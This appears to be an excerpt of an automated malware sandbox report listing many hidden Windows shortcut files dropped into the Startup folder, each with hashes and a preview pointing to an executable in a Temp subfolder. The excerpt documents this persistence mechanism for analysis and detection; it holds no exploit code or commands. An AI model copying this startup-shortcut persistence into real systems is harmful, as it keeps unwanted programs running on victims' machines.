File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921506513612769
Encrypted:	false
SSDEEP:	24:8fbrBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8fRPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FD3BA60300611BC80CB359F648F23D10
SHA1:	EF39CBCEBA2C92FB70F7281A685BAE8A4056FB3C
SHA-256:	CB84BBD410A8CA5A7B35A5F0B9D97EF162D119D94E834C97F29167D0E9E10B21
SHA-512:	208F80B07F5E4B976F897C5A3A5A859706F08D4448945DAE07D02E438F705F663161BACF25F2C77B5676D9A03E304A3F012D94AB013E24DC644C1C138AB3AB23
Malicious:	false
Preview:	L..................F....".......d.....&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1eb00320055e4ff2b3796223c471b3f9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91125861632868
Encrypted:	false
SSDEEP:	24:8FrBfX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8jUEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9C69E1F943B0B027F06AB668BCA56EA3
SHA1:	771FEF4E9853C3A102CCA4D847C6FFC0637836D3
SHA-256:	04764C97BB9EA7BED5DB17CA74AB0442F542DF2BB20EBEA93F57419A8EFAD9E6
SHA-512:	6B2604D4B3C3C21950BFDE8EDCB300D7C7DA84E9E1AE914CFF2A8BD98A781A1B9C921D8453B0CCB2EDBA93B06CDE0FBC8CE51E652CFB74A754D159F35DF1E838
Malicious:	false
Preview:	L..................F....".......d.....9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...@g.9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1eb15896d185444992553a3fa42934f1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919726338587723
Encrypted:	false
SSDEEP:	24:8xBfHf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8LMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1E4F1DD4E23654E7A4A106E9C716FA59
SHA1:	28DC74ED80EC48D67697BA3727E81423D9DCBE4D
SHA-256:	C4D19CC528217EAB990BD3709EE5B90E6A087932AD47BE825574C76F7898F868
SHA-512:	22A5336BE293517185E4428C606DB851785C7038FC9EFA4CDA286C622EDA41D19BC0B14BD4C8B5AE4C8542D5B47A38126E44C828E76759314BFC6E060EE7D7A6
Malicious:	false
Preview:	L..................F....".......d...v.:[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....1[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1eef1bb6ca384e7c925b6ea88854f55a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927964954300209
Encrypted:	false
SSDEEP:	24:88BfAP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8y9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	19F02E95B59728D79C761F32A9114277
SHA1:	E323E809B6290A6B4162DACC8075488C86C4F57B
SHA-256:	A08DC58D1EECC8231C3E5F8A187FFCD5AE3B94D40C9B2395A26794DCC115208F
SHA-512:	0466056B6818D9DAF3BF93B15393B13A2B79B79BCEAF96CEF4B5ECA61BB2F0AE066BF7137D92CC006CAE4BB730B8B5609C8626E5DF68885DADBE3BB2ED5D1927
Malicious:	false
Preview:	L..................F....".......d......>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1f0852fa96024e14ad6549f37d2c17d2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920859287721997
Encrypted:	false
SSDEEP:	24:82QBf/P48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8j3FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	510095CDB0DCEE02B886A76A5F087170
SHA1:	45E2C6D1E4607F2CA251903B73616985DF615470
SHA-256:	7CB735E0AC196FFB02D67FF9059F5D0A8369423E8725B47E6D79986D0FC16CCB
SHA-512:	2A527BB12D23582479A8519ACE9416AA45044592295997F983DA29989CFFE6AFC7E7D8A9E2F65161F6FD0A8A5D55BF47D31B7D80E492B14B84BD9687C5183F93
Malicious:	false
Preview:	L..................F....".......d......{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....0.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1f7a1a8b0062413392706f479948069b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920068904261817
Encrypted:	false
SSDEEP:	24:8AQBfTf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:81oEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0B00FEFA14DE03503FE1927C2C00EBC6
SHA1:	54E173D1044C57F588A0A0E324AEE879A2E10296
SHA-256:	FC4EFFC4E73C06DFFDA611870329AA2BAB275068618A67632F393271F41A8A36
SHA-512:	7FCB13D325EC78B1378F94E26B849EB61DFC6EB95BE04CA144F5B3654FCECA4E8718E7B16462A8D8695F7A1D7E27CAE40B56AA438AB0505C3677C8F61D1CFA10
Malicious:	false
Preview:	L..................F....".......d...ZF.\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...M..[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_20590dd78b8d48d48753c3023cdd70e6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936110427866583
Encrypted:	false
SSDEEP:	24:8JBfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8z59EvZ0yRO7DLO2zdxdRd1kyg
MD5:	CE8BA1E959EBB59BA140EC2BC26E971C
SHA1:	C28E7180157696331CF95555558BB18DBCEBCC98
SHA-256:	665EFF48D6B02F1ECEABC019CFAEDE4DB33DA98D82D42B0B66DCBFC9ED9BA16E
SHA-512:	4AE70C02A1845592E2C98DA9D48B0FAFFE3A2A05EF432A6906940E59534F9C284FD6E7738C3B46516099A7C28033EC86F69F49D61AD50125801D66A2FB4867BF
Malicious:	false
Preview:	L..................F....".......d......>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....+.>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_20893546e01442aa8a32f9ec1c4e0b0c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926634756058511
Encrypted:	false
SSDEEP:	24:8l2Bfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8+IEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5342C60133256A074E77EE11DA265324
SHA1:	E984C20B2D114ED67AB113190194052E10AC933B
SHA-256:	0F63D25D565DD842FF3DF84663C5FE7EB4985BB8884A20DBF04A1763D7D8C364
SHA-512:	7A4398A1E2548060C4C3433D8C6A57D5F65DD4165345048E1F06E048FF05EDE24FF98E00DC1E176C507F969E85E77045E7AACAA9144012DC67BA026A3C8ADDF4
Malicious:	false
Preview:	L..................F....".......d......\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...]/.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_20d84ac4d2b342b0aa531f776e52a3c4.lnk

Download File

Process:	C:\ProgramData\AFIDGDBGCA.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:00 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924102979077503
Encrypted:	false
SSDEEP:	24:8OBfU24p8EvT9peyRcgKERRhWRO2RaRAqiVDi0RTp1A6ZL/qygm:8kSOEvZ0yRvDeO2zdxdRd1kyg
MD5:	DA22AD52A0F068ED7972038EA7E9C12A
SHA1:	77DC49E22C6AE50C3C447016F8344E6BACBB2CF0
SHA-256:	BF77E5A39BE39F083BEE8AAB218B33B4B883E0D1F2012EA8457A757677F9A307
SHA-512:	D972B426C303964235FF7169CEF7DBDFE28D68B6CD9991264B6BE6D7DD33F42A150B45BA6B23956729ADC4EFC4D55106F7E498B6ED5E9520D26C6120F6FCB9DB
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y....Temp..:......DWSl9Y......\.....................m...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8.....................M...M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_20f03ec0b722450f8dd89b1eba645eb7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:17 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928075700572519
Encrypted:	false
SSDEEP:	24:8qBf88EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8oxEvZ0yRO7DLO2zdxdRd1kyg
MD5:	756F90A1C28643DC03E4A6ABFDDDBB76
SHA1:	064A48462729D332B692BFF6D1290BC44270F433
SHA-256:	4459F59A1465ABD52F7168AA702E0971BAF5EC80F342A1DE5E700B7FB8395D05
SHA-512:	55079E05B5A98F46D7CCB1DA4329A13D87FD253FC6827E9FD34B1388B7B208F580A145CD7268400435E690C9F994E4B3301DC51992B4FFCEC2603CFCDB595537
Malicious:	false
Preview:	L..................F....".......d....w~'d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....?E'd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_21008fa5f369418a83927c48a54051b0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925048615917735
Encrypted:	false
SSDEEP:	24:8yBfEO8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8guEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9343A5BA96280CFD6BBC95F0AA1938FE
SHA1:	AA6AA5BD4171D708B03A9B06646C76CB0295E8E0
SHA-256:	E4A36A1767B4F6638ED10F76AEC4AD61D15BA8C1C1A3B950FAE047971AA2371B
SHA-512:	DE546790D7965AE4E032B19D7E1450E45DBDC982F01162F8D3E294FFDD2155794F006E24FCF6AA1129123179C101E940F32A866677AB6744AD580B0301080B78
Malicious:	false
Preview:	L..................F....".......d...,..~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2163a7223a6d43fc877b75e98211f266.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92848485779429
Encrypted:	false
SSDEEP:	24:8FTBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8neEvZ0yRO7DLO2zdxdRd1kyg
MD5:	39D304BC231AC611C3D6EAA08D056A50
SHA1:	66366CB1A65EBD27A5DEAFE88AFAB4E6089280ED
SHA-256:	9E6A1D20261FFDC11080D8B29F8A9B0050651C8CEAC4638666517672818B676C
SHA-512:	EFF21FC4896FCD3C883C7B61F9ACA330F2BD9486B2B47EDB49126FFB8A4E9707ECD1294760DD9B41281DE4F11D5613ECCB44798EE93533484820DCA7D5A2A2B6
Malicious:	false
Preview:	L..................F....".......d....'C$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....($$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2182f53ca8264112a0e527424c9a9a95.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923951600501139
Encrypted:	false
SSDEEP:	24:8kBfv8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8KcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F11E287CB6EC8408518CF1678AAC9A61
SHA1:	2D8A8ADC238C6B3ECC3D5AEA89A0FD6A20D6489E
SHA-256:	BB4CDE0F0B60F0AAE809342FE2F5E19E29A85042C89F5C83E917FA79A67F9368
SHA-512:	2D9862445F09B4C79C2F9DA4AAF15D0CDDBCF23525EE14E6D1D88D08789E39CCD44710EB3F1D9686F45D4C3C7D4C5D6B6DDD742B7D76D2118E935DCA920D624F
Malicious:	false
Preview:	L..................F....".......d.../oE.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....3J.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_21d7c090312c48a7b9cf962dcad548e2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
